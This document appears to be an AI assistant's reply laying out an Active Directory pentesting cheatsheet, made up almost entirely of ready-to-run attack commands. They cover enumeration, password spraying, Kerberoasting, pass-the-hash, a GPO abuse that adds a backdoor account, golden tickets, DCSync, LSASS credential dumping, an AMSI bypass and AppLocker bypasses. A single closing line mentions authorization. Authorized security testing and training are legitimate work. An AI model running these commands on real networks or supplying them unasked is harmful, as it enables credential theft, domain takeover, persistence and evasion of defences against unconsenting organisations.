I'll create a comprehensive Active Directory pentesting cheatsheet covering enumeration, exploitation, and post-exploitation techniques.
Active Directory Pentesting Cheatsheet
Initial Enumeration
Domain Information
# Get domain info
nltest /domain_trusts
net view /domain
# PowerShell domain enumeration
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
User Enumeration
# List domain users
net user /domain
wmic useraccount get name,sid
# PowerShell user enumeration
Get-ADUser -Filter * -Properties *
Get-NetUser | select cn,samaccountname,description
Group Enumeration
# List domain groups
net group /domain
Get-ADGroup -Filter * -Properties *
# Find privileged groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"
Network Reconnaissance
SMB Enumeration
# Enumerate SMB shares
smbclient -L //target-ip -N
enum4linux -a target-ip
crackmapexec smb target-ip -u '' -p '' --shares
# Check null sessions
rpcclient -U "" -N target-ip
LDAP Queries
# Basic LDAP enumeration
ldapsearch -x -h target-ip -s base namingcontexts
ldapsearch -x -h target-ip -b "DC=domain,DC=com"
# Using ldapdomaindump
ldapdomaindump -u 'DOMAIN\user' -p 'password' target-ip
Authentication Attacks
Password Spraying
# Using crackmapexec
crackmapexec smb target-ip -u users.txt -p 'Password123!' --continue-on-success
# Using kerbrute
kerbrute passwordspray -d domain.com users.txt Password123!
Kerberoasting
# Request TGS tickets
GetUserSPNs.py domain.com/user:password -dc-ip target-ip -request
# PowerShell method
Invoke-Kerberoast -OutputFormat hashcat | fl
AS-REP Roasting
# Find AS-REP roastable users
GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip target-ip -format hashcat
# PowerShell method
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
Lateral Movement
Pass-the-Hash
# Using impacket
psexec.py -hashes :NTHASH domain/user@target-ip
wmiexec.py -hashes :NTHASH domain/user@target-ip
# Using crackmapexec
crackmapexec smb target-ip -u user -H NTHASH -x "whoami"
Pass-the-Ticket
# Export tickets
mimikatz # sekurlsa::tickets /export
# Use ticket
python3 psexec.py domain/user@target-ip -k -no-pass
PowerShell Remoting
# Enable PS remoting
Enter-PSSession -ComputerName target
Invoke-Command -ComputerName target -ScriptBlock {whoami}
# With credentials
$cred = Get-Credential
Enter-PSSession -ComputerName target -Credential $cred
Privilege Escalation
Token Impersonation
# List tokens
Invoke-TokenManipulation -Enumerate
# Impersonate token
Invoke-TokenManipulation -ImpersonateUser -Username "DOMAIN\Administrator"
GPO Abuse
# Find writable GPOs
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# SharpGPOAbuse
SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author DOMAIN\user --Command "cmd.exe" --Arguments "/c net user backdoor Pass123! /add" --GPOName "Vulnerable GPO"
Persistence
Golden Ticket
# Using mimikatz
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:HASH /id:500
# Using impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain domain.com Administrator
Silver Ticket
# Create silver ticket
ticketer.py -nthash SERVICE_HASH -domain-sid DOMAIN_SID -domain domain.com -spn cifs/target.domain.com user
DCSync
# Using mimikatz
lsadump::dcsync /domain:domain.com /user:Administrator
# Using secretsdump
secretsdump.py domain/user:password@target-ip
Useful PowerShell Commands
BloodHound Collection
# Run SharpHound
Invoke-BloodHound -CollectionMethod All -Domain domain.com -ZipFileName loot.zip
# Alternative methods
SharpHound.exe -c all -d domain.com
PowerView Commands
# Domain enumeration
Get-NetDomain
Get-NetDomainController
Get-DomainPolicy
# User hunting
Find-LocalAdminAccess
Find-DomainUserLocation
Get-NetLoggedon -ComputerName target
Post-Exploitation
Credential Dumping
# Local SAM
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# LSASS dump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
comsvcs.dll MiniDump lsass_pid lsass.dmp full
# Parse with mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
Data Exfiltration
# Find interesting files
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.doc,*.docx,*.xls,*.xlsx -Recurse -ErrorAction SilentlyContinue
# Search file contents
Select-String -Path C:\Users\* -Pattern password -Recurse
Defense Evasion
AMSI Bypass
# Simple AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AppLocker Bypass
# Using MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
# Using InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
Quick Wins Checklist
- Check for null sessions and anonymous access
- Look for default/weak passwords (Password1!, Welcome1, SeasonYear)
- Find AS-REP roastable accounts
- Hunt for Kerberoastable SPNs
- Check for password in description fields
- Look for GPP passwords
- Find misconfigured ACLs
- Check for unconstrained delegation
- Look for writable service paths
- Check scheduled tasks and startup scripts
Remember to always operate within the scope of your authorization and follow responsible disclosure practices when conducting security assessments.